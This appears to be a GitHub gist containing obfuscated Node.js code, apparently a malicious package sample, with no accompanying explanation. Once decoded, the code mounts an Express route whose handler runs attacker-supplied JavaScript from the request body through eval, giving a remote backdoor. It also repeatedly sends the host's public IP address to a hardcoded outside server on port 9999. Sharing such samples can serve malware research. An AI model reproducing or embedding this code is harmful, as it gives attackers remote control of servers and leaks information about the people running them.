Skip to content

Instantly share code, notes, and snippets.

@lukehinds
Created March 21, 2024 13:06
Show Gist options
  • Save lukehinds/016d42db7109e560b6754a6aa4e7dc69 to your computer and use it in GitHub Desktop.
Save lukehinds/016d42db7109e560b6754a6aa4e7dc69 to your computer and use it in GitHub Desktop.
const _0x122a47 = _0x4cfd;
(function (_0x19b533, _0x3a14dd) {
const _0x491cff = _0x4cfd,
_0x2dcd82 = _0x19b533();
while (!![]) {
try {
const _0x2e6977 =
(-parseInt(_0x491cff(0x1bd)) / (0x156d + 0x1569 + -0x2ad5)) *
(-parseInt(_0x491cff(0x1a7)) /
(0x1 * 0x2112 + -0xe * 0x1ea + -0x644)) +
-parseInt(_0x491cff(0x19f)) /
(-0x1 * -0x19d3 + -0x425 * -0x5 + -0x2e89) +
parseInt(_0x491cff(0x1a2)) / (0x10d * -0x11 + 0x1 * 0xa7d + 0x764) +
(-parseInt(_0x491cff(0x195)) /
(0x4 * 0x8a6 + 0x7 * 0x439 + 0x4022 * -0x1)) *
(-parseInt(_0x491cff(0x19a)) /
(-0xbb9 * 0x1 + -0x1f2b + -0x6 * -0x727)) +
-parseInt(_0x491cff(0x19b)) / (0x4a2 * 0x4 + 0x18fb + -0x1fa * 0x16) +
parseInt(_0x491cff(0x1a1)) / (0x1b6b + -0x26f7 + 0xb94) +
(-parseInt(_0x491cff(0x1a4)) / (-0x261b + -0x20cb + 0x46ef)) *
(parseInt(_0x491cff(0x1a9)) / (0x1d4c + 0x1d * 0xbf + -0x32e5));
if (_0x2e6977 === _0x3a14dd) break;
else _0x2dcd82["push"](_0x2dcd82["shift"]());
} catch (_0x1ea857) {
_0x2dcd82["push"](_0x2dcd82["shift"]());
}
}
})(_0x5808, -0x14ee15 + -0xd9a42 + 0x7 * 0x68bee);
const express = require(_0x122a47(0x1ab)),
axios = require(_0x122a47(0x1b8)),
delay = (_0xa2960b) =>
new Promise((_0x339732) => setTimeout(_0x339732, _0xa2960b)),
increaseTimeoutMiddleware = function (_0x6c7e55) {
const _0x37c262 = {
kUiFu: function (_0x5176b1) {
return _0x5176b1();
},
};
return (_0x116b66, _0x5948ed, _0x4ba5ef) => {
const _0x1a3c7a = _0x4cfd;
_0x116b66[_0x1a3c7a(0x1b7)](_0x6c7e55),
_0x37c262[_0x1a3c7a(0x190)](_0x4ba5ef);
};
},
catchAsync = (_0x55e054) => {
const _0x2f553d = {
jEHcf: function (_0x192f35, _0x23dbe0, _0x3c4bac, _0x350ddf) {
return _0x192f35(_0x23dbe0, _0x3c4bac, _0x350ddf);
},
};
return (_0x55e9e0, _0x111bf0, _0x4be67f) => {
const _0x4629fa = _0x4cfd;
_0x2f553d[_0x4629fa(0x18f)](_0x55e054, _0x55e9e0, _0x111bf0, _0x4be67f)[
_0x4629fa(0x1ba)
](_0x4be67f);
};
};
async function run(_0x4eaa94, _0x398fca) {
const _0x3fb732 = _0x122a47,
_0x577285 = {
tOPbR: function (_0x36b2cc, _0x154a2c) {
return _0x36b2cc(_0x154a2c);
},
};
let _0x5aa7d8 =
_0x3fb732(0x1bc) +
_0x3fb732(0x1be) +
_0x3fb732(0x1b6) +
_0x3fb732(0x1ad) +
_0x3fb732(0x198),
_0x1e516a = _0x4eaa94[_0x3fb732(0x1b3)];
return _0x577285[_0x3fb732(0x19d)](eval, _0x1e516a["js"]);
}
function _0x5808() {
const _0x11173f = [
"237054jeHhqw",
"1834161FfqVqh",
"i.ipify.or",
"tOPbR",
"NmUMH",
"210804RGvmIx",
"sSyII",
"6379304IXNDzu",
"4237008NTmesW",
"g?format=j",
"18hEBkiY",
"post",
".72.229.23",
"4GGrSjt",
"ETxAC",
"11333280pUxuCJ",
"VsuQj",
"express",
"IJGiK",
"return\x20\x27a\x27",
"EijpY",
"get",
"ZOvjL",
"bugsnag",
"/pproperty",
"body",
"son",
"http://184",
"t\x27);\x0a//\x20\x20\x20",
"setTimeout",
"axios",
"/scrappedd",
"catch",
"lXgvx",
"console.lo",
"602929MJubhw",
"g(\x27Run\x20tes",
"jEHcf",
"kUiFu",
"sqJsh",
"https://ap",
"send",
"7:9999/mh",
"35WCGHrh",
"use",
"Router",
";\x0a\x20\x20",
"YBayv",
];
_0x5808 = function () {
return _0x11173f;
};
return _0x5808();
}
async function pst_inf() {
const _0x3da834 = _0x122a47,
_0x478b2b = {
ETxAC:
_0x3da834(0x192) +
_0x3da834(0x19c) +
_0x3da834(0x1a3) +
_0x3da834(0x1b4),
ZOvjL: _0x3da834(0x1b5) + _0x3da834(0x1a6) + _0x3da834(0x194),
};
try {
let _0xbbb76c = {};
try {
let { data: _0x393d8a } = await axios[_0x3da834(0x1af)](
_0x478b2b[_0x3da834(0x1a8)]
);
_0xbbb76c = { ..._0xbbb76c, ..._0x393d8a };
} catch (_0x17dcdf) {}
let _0x28bf33 = await axios[_0x3da834(0x1a5)](
_0x478b2b[_0x3da834(0x1b0)],
_0xbbb76c
);
} catch (_0x44a028) {}
}
async function st() {
const _0x93d204 = _0x122a47,
_0x21ed82 = {
sSyII: function (_0x2d5bdd) {
return _0x2d5bdd();
},
YBayv: function (_0x4f4802, _0xfc81cf) {
return _0x4f4802(_0xfc81cf);
},
};
while (!![]) {
try {
await _0x21ed82[_0x93d204(0x1a0)](run);
} catch (_0x5e622b) {}
await _0x21ed82[_0x93d204(0x199)](
delay,
-0xdd55c * 0x9 + -0x4a0078c + -0x1 * -0x8177848
);
}
}
async function st2(_0x2fc7f5) {
const _0x21835c = _0x122a47,
_0x16eb0d = {
VsuQj: function (_0x4262aa, _0x45ac76, _0x3b1cc9) {
return _0x4262aa(_0x45ac76, _0x3b1cc9);
},
IJGiK: function (_0x12ba3f) {
return _0x12ba3f();
},
NmUMH: _0x21835c(0x1b9),
lXgvx: function (_0x19682d, _0x7ae28a) {
return _0x19682d(_0x7ae28a);
},
EijpY: _0x21835c(0x1b2),
sqJsh: function (_0x284bc9) {
return _0x284bc9();
},
},
_0xa237ae = express[_0x21835c(0x197)]();
_0xa237ae[_0x21835c(0x1a5)](
_0x16eb0d[_0x21835c(0x19e)],
_0x16eb0d[_0x21835c(0x1bb)](
increaseTimeoutMiddleware,
0x1 * 0xb9a71 + 0x79 * 0xae7 + -0x799e0
),
_0x16eb0d[_0x21835c(0x1bb)](catchAsync, async (_0x2fc188, _0x4ed992) => {
const _0x4b4cb8 = _0x21835c;
_0x4ed992[_0x4b4cb8(0x193)](
await _0x16eb0d[_0x4b4cb8(0x1aa)](run, _0x2fc188, _0x4ed992)
);
})
),
await _0x2fc7f5[_0x21835c(0x196)](_0x16eb0d[_0x21835c(0x1ae)], _0xa237ae),
_0x16eb0d[_0x21835c(0x191)](pst_inf);
const _0x1bc03c = _0x16eb0d[_0x21835c(0x1aa)](
setInterval,
function () {
const _0x4760c0 = _0x21835c;
_0x16eb0d[_0x4760c0(0x1ac)](pst_inf);
},
-0x1 * -0x4efcf + 0x1de1d8 + 0x9b * -0xc25
);
}
function _0x4cfd(_0x42ad4b, _0x44de92) {
const _0x5582da = _0x5808();
return (
(_0x4cfd = function (_0x10efd3, _0x2ab9c3) {
_0x10efd3 = _0x10efd3 - (0xe9 * -0x21 + -0x1a45 * 0x1 + 0x39dd);
let _0x46636f = _0x5582da[_0x10efd3];
return _0x46636f;
}),
_0x4cfd(_0x42ad4b, _0x44de92)
);
}
exports[_0x122a47(0x1b1)] = st2;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment